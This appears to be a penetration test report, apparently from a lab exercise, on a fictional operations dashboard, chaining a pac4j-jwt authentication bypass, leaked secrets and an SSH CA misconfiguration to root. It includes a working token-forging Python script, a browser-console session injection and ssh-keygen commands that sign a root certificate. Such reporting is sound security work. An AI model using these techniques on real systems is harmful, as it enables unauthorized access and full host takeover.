#A. Statement of Confidentiality

The contents of this document have been prepared by Red Team Security Services for the exclusive use of Principal Technologies Pvt. Ltd. The information contained herein is considered confidential and proprietary and is intended solely for the purpose of communicating the results of the security assessment described in this report.

This document, in whole or in part, shall not be disclosed, reproduced, copied, distributed, or communicated to any third party without the prior written consent of both Principal Technologies Pvt. Ltd. and Red Team Security Services, except where required by applicable law or contractual obligation.

The contents of this report do not constitute legal advice. Any observations, findings, or recommendations relating to regulatory compliance, litigation, or other legal matters are provided solely from an information security perspective and should not be interpreted as legal counsel.

Disclaimer: The assessment documented in this report was conducted against a fictional organization and intentionally vulnerable training environment for educational and portfolio purposes. Any company names, infrastructure, credentials, domains, IP addresses, or personnel referenced within this report are fictional or used solely within an authorized laboratory environment. This report must not be interpreted as evidence of vulnerabilities affecting any real organization.

#B. Engagement Contacts

#C. Document Control

#D. Table of Contents

• A. Statement of Confidentiality
• B. Engagement Contacts
• C. Document Control
• D. Table of Contents
• E. Executive Summary
  • E.1. Approach
  • E.2. Scope
  • E.3. Assessment Overview and Recommendations
• F. Web Application Penetration Test Assessment Summary
  • F.1. Summary of Findings
• G. Attack Chain Walkthrough
  • G.1. Attack Chain Summary
  • G.2. Detailed Walkthrough
• H. Technical Findings Details
  • H.1. Authentication Bypass in pac4j-jwt (CVE-2026-29000) - Critical
  • H.2. Sensitive Information Disclosure via Client-Side JavaScript - Medium
  • H.3. Exposure of Cleartext Credentials Leading to SSH Account Compromise - Medium
  • H.4. Insecure Storage of CA Private Key and Improper Principal Validation - High
• I. Remediation Summary
  • I.1. Short-Term Remediation
  • I.2. Medium-Term Remediation
  • I.3. Long-Term Remediation
• J. Appendix
  • J.1. Finding Severities
  • J.2. Host & Service Discovery
  • J.3. Technology Stack
  • J.4. Assessment Tools
  • J.5. Custom Exploit Scripts
  • J.6. Changes / Host Cleanup
• K. Glossary of Terms

#E. Executive Summary

Principal Technologies Pvt. Ltd. ("Principal" herein) contracted Red Team Security Services to perform a Web Application Penetration Test of the Principal Unified Operations Dashboard. The objective of this assessment was to identify security weaknesses, evaluate their potential impact on the confidentiality, integrity, and availability of the application and supporting infrastructure, document all findings in a clear and reproducible manner, and provide practical remediation recommendations.

#E.1. Approach

Red Team Security Services performed testing under a Black Box methodology between 14 June 2026 and 16 June 2026. The assessment was conducted without valid user credentials or prior knowledge of the application's internal implementation. Testing was performed remotely from Red Team Security Services' assessment environment and focused on identifying vulnerabilities that could be exploited by an external attacker.

All identified findings were manually validated to eliminate false positives and to determine the practical impact of successful exploitation. Where appropriate, exploitation was extended to demonstrate the maximum achievable impact, including authentication bypass, privilege escalation, and compromise of the underlying operating system.

This assessment was performed following industry-standard best practices, including guidance from the OWASP Web Security Testing Guide (WSTG). Testing activities were focused on identifying vulnerabilities within the identified attack surface and evaluating the business risk associated with each finding.

#E.2. Scope

The scope of this assessment consisted of the following application and supporting infrastructure.

#E.3. Assessment Overview and Recommendations

During the assessment, Red Team Security Services identified four security findings affecting the target environment. These consisted of one Critical, one High, and two Medium severity vulnerabilities. No Low or Informational findings were identified.

The most significant finding was an authentication bypass vulnerability affecting the application's JWT authentication implementation, allowing unauthenticated attackers to forge administrative sessions. Successful exploitation enabled access to sensitive administrative functionality, disclosure of internal configuration information, compromise of a deployment service account through credential reuse, and ultimately privilege escalation to the root user via a misconfigured SSH certificate authentication mechanism.

The identified vulnerabilities demonstrate how individually remediable weaknesses can be chained together to achieve complete compromise of both the application and the underlying host. Although several findings require prior access obtained through earlier vulnerabilities, each represents a distinct security issue that should be addressed independently.

Principal Technologies Pvt. Ltd. should prioritize remediation of the Critical and High severity findings, followed by the Medium severity findings. Particular attention should be given to updating vulnerable third-party components, eliminating sensitive information disclosure, implementing secure secrets management practices, and correcting SSH certificate authentication configuration. After remediation activities have been completed, a follow-up penetration test is recommended to verify that the identified vulnerabilities have been successfully resolved and that no additional security weaknesses have been introduced.

#F. Web Application Penetration Test Assessment Summary

Red Team Security Services conducted all testing activities from the perspective of an unauthenticated external user interacting with the Principal Unified Operations Dashboard. No valid credentials, source code, architecture documentation, or implementation details were provided prior to the assessment.

Testing was performed using a Black Box methodology with the objective of identifying vulnerabilities that could be exploited by an external attacker to gain unauthorized access, disclose sensitive information, escalate privileges, or compromise the underlying infrastructure. Where practical, identified vulnerabilities were manually validated and chained together to demonstrate their real-world impact.

#F.1. Summary of Findings

During the course of testing, Red Team Security Services identified a total of four security findings that pose a material risk to Principal Technologies Pvt. Ltd.'s application and supporting infrastructure. These findings consisted of one Critical, one High, and two Medium severity vulnerabilities. No Low or Informational findings were identified.

The figure below illustrates the distribution of identified vulnerabilities by severity.

Below is a high-level overview of each finding identified during testing. These findings are covered in depth in the Technical Findings Details section of this report.

#G. Attack Chain Walkthrough

During the assessment, Red Team Security Services successfully demonstrated a complete compromise of the target environment by chaining together multiple vulnerabilities. The attack originated from an unauthenticated external attacker and concluded with full root access to the underlying Linux server.

While each finding is documented independently within the Technical Findings Details section, this walkthrough illustrates how the individual weaknesses combined to achieve complete host compromise.

#G.1. Attack Chain Summary

The following attack path was successfully executed:

1. Enumerate the target application and identify the exposed pac4j-jwt version from the HTTP response headers.
2. Review the publicly accessible JavaScript bundle (/static/js/app.js) to obtain authentication implementation details, including the token format, cryptographic algorithms, and authorization model.
3. Identify the affected authentication bypass vulnerability (CVE-2026-29000) impacting the disclosed library version.
4. Exploit the authentication bypass vulnerability, utilizing the gathered implementation details, to obtain administrative access to the application.
5. Enumerate the administrative dashboard and recover sensitive configuration information, including the encryptionKey value.
6. Reuse the disclosed secret as the password for the svc-deploy service account to obtain SSH access.
7. Continue enumerating the administrative dashboard and identify the configured SSH Certificate Authority path (/opt/principal/ssh/).
8. Abuse the SSH certificate authentication misconfiguration by issuing a certificate for the root principal.
9. Authenticate using the forged SSH certificate and obtain full root access to the underlying operating system.

#G.2. Detailed Walkthrough

The assessment began with passive reconnaissance of the externally accessible application. HTTP response headers disclosed the authentication framework and version in use, allowing identification of a publicly known authentication bypass vulnerability affecting the deployed software.

Further reconnaissance of publicly accessible client-side JavaScript exposed implementation details relating to authentication, authorization, token handling, and application roles. Although these details did not independently compromise the application, they significantly reduced the effort required to develop and validate a working exploit.

Successful exploitation of the authentication bypass granted administrative access to the application without valid credentials. Administrative functionality exposed additional sensitive configuration information, including a value labeled encryptionKey, which was successfully reused as the password for the svc-deploy service account, providing SSH access to the underlying host.

Continued enumeration of the administrative interface disclosed the location of the trusted SSH Certificate Authority. From the compromised svc-deploy account, the CA was accessible and could be used to issue SSH certificates. Due to improper validation of SSH certificate principals, a certificate containing the root principal was accepted by the SSH service, resulting in full administrative control of the operating system.

This attack chain demonstrates how several individually remediable weaknesses—including technology disclosure, information disclosure, authentication bypass, insecure secret management, and SSH certificate misconfiguration—can be combined to achieve complete compromise of the target environment.

#H. Technical Findings Details

#H.1. Authentication Bypass in pac4j-jwt (CVE-2026-29000) - Critical

#Steps to Reproduce

a. Create the Exploit Script

Copy the custom Proof-of-Concept (PoC) generator script provided in Appendix J.5 and save it to your local testing environment as generate.py. Ensure the required dependencies (such as the jwcrypto library) are installed:

pip install jwcrypto

b. Generate the Forged Token

Execute the script from the terminal to generate a forged JWE token.

python3 generate.py

Note: The script will output a JWE token string to the console. Copy this string to your clipboard.

c. Inject the Token via Developer Tools

Navigate to the target application's login page using a standard web browser. Do not submit any credentials. Instead, open the browser's Developer Tools (typically F12 or Ctrl+Shift+I ) and navigate to the Console tab.

Paste the required JavaScript payload into the console, substituting your generated token, and press Enter to force an authenticated session:

// Example injection payload (replace the token value with your output from Step b)
sessionStorage.setItem('auth_token', '<PASTE_JWE_TOKEN_HERE>');
location.href = '/dashboard';

d. Verify Access

Observe that the application accepts the forged token, redirects to /dashboard, and grants authenticated access without requiring a standard login flow.

#H.2. Sensitive Information Disclosure via Client-Side JavaScript - Medium

#Finding Evidence

a. Publicly Accessible JavaScript Resource

The application's page source references a publicly accessible JavaScript bundle (/static/js/app.js), which can be accessed without authentication.

b. Authentication Implementation Details Exposed

Accessing the JavaScript bundle reveals authentication and authorization implementation details, including the authentication flow, JWT/JWE token handling, role definitions, and internal API endpoints.

#H.3. Exposure of Cleartext Credentials Leading to SSH Account Compromise - Medium

#Steps to Reproduce

a. Obtain administrative access from Finding H.1 and H.2

b. Navigate to Settings and observe the value of the encryptionKey configuration parameter.

c. Navigate to Users and identify the deployment service account.

d. Attempt SSH authentication using the disclosed encryptionKey value as the password for the svc-deploy account.

Authentication is successful, confirming that the disclosed secret is reused as a valid SSH credential.

#H.4. Insecure Storage of CA Private Key and Improper Principal Validation - High

#Steps to Reproduce

a. Obtain access to the underlying operating system as the svc-deploy user (as detailed in Finding H.3) and enumerate the configured SSH Certificate Authority path identified from the administrative dashboard.

b. Review the directory permissions for /opt/principal/ssh/. Observe that the svc-deploy user, as a member of the developers group, has read access to the CA private key.

c. Generate a new SSH key pair to be used for the exploit.

ssh-keygen -t ed25519 -f pentest

c. Sign the generated public key using the exposed SSH Certificate Authority, explicitly specifying the root principal.

ssh-keygen -s /opt/principal/ssh/ca -I pentest -n root -V +1h key.pub

The command successfully issues an SSH certificate for the root principal.

d. Authenticate to the target using the signed SSH certificate.

ssh -i pentest root@localhost

Successful authentication results in a root shell.

#I. Remediation Summary

As a result of this assessment, several opportunities were identified to strengthen the security posture of the Principal Unified Operations Dashboard and its supporting infrastructure. Remediation activities have been prioritized based on the overall risk they present and the effort required to reduce the attack surface. Where possible, remediation should be implemented in a staged manner and validated within a non-production environment prior to deployment.

#I.1. Short-Term Remediation

The following actions should be prioritized immediately to eliminate the highest-risk attack vectors identified during the assessment.

#I.2. Medium-Term Remediation

The following improvements will reduce the likelihood of similar attack paths being exploited in the future.

#I.3. Long-Term Remediation

The following strategic improvements will strengthen the organization's overall security posture.

• Establish a secure software development lifecycle (SSDLC) incorporating secure code reviews and security testing throughout the development process.
• Implement automated Software Composition Analysis (SCA) to identify vulnerable third-party dependencies before deployment.
• Perform periodic web application penetration tests and authenticated security assessments following major application releases.
• Deploy centralized secrets management with automated secret rotation and least-privilege access controls.
• Review privileged access management for service accounts and administrative interfaces to ensure sensitive configuration data is disclosed only on a need-to-know basis.
• Implement continuous security monitoring and logging to detect unauthorized authentication attempts, abnormal privilege escalation, and misuse of administrative functionality.

#J. Appendix

#J.1. Finding Severities

Each finding identified during the assessment has been assigned a severity rating based on the Common Vulnerability Scoring System (CVSS) v3.1. The assigned rating reflects the potential impact of the vulnerability on the confidentiality, integrity, and availability of the target environment, as well as the relative priority for remediation.

#J.2. Host & Service Discovery

The following externally accessible services were identified within the assessment scope.

#J.3. Technology Stack

The following technologies were identified during the assessment.

#J.4. Assessment Tools

The following tools were utilized during the assessment.

#J.5. Custom Exploit Scripts

The following Python script was developed to generate the forged JWE token required to exploit the authentication bypass vulnerability described in Finding H.1 (CVE-2026-29000). Note: The cryptographic parameters (jwk_data) utilized in this script were successfully extracted from the publicly accessible JavaScript bundle (app.js) documented in Finding H.2.

import base64
import json
import time
from jwcrypto import jwk, jwe
 
jwk_data = {
    "kty": "RSA",
    "e": "AQAB",
    "kid": "enc-key-1",
    "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
}
publicKey = jwk.JWK(**jwk_data)
 
def base64url_encode(payload: dict) -> str:
    json_bytes = json.dumps(payload, separators=(',', ':')).encode('utf-8')
    return base64.urlsafe_b64encode(json_bytes).decode('utf-8').rstrip('=')
 
header = {"alg": "none"}
 
current_time = int(time.time())
iat = current_time - 300
exp = current_time + 86400
 
payload = {
    "sub": "admin",
    "role": "ROLE_ADMIN",
    "iss": "principal-platform",
    "iat": iat,
    "exp": exp
}
 
jwt_string = f"{base64url_encode(header)}.{base64url_encode(payload)}."
 
protected_header = {
    "alg": "RSA-OAEP-256",
    "enc": "A128GCM",
    "cty": "JWT",
    "kid": "enc-key-1"
}
 
jwe_token = jwe.JWE(
    plaintext=jwt_string.encode('utf-8'),
    protected=protected_header
)
 
jwe_token.add_recipient(publicKey)
 
print(jwe_token.serialize(compact=True))

#J.6. Changes / Host Cleanup

No persistent changes were made to the target environment during the assessment. No user accounts, services, scheduled tasks, or application configurations were modified. Any SSH keys and certificates generated during testing were created solely for assessment purposes and were not retained on the target system.

The assessment was conducted in a manner intended to minimize operational impact while accurately validating the identified security findings.

#K. Glossary of Terms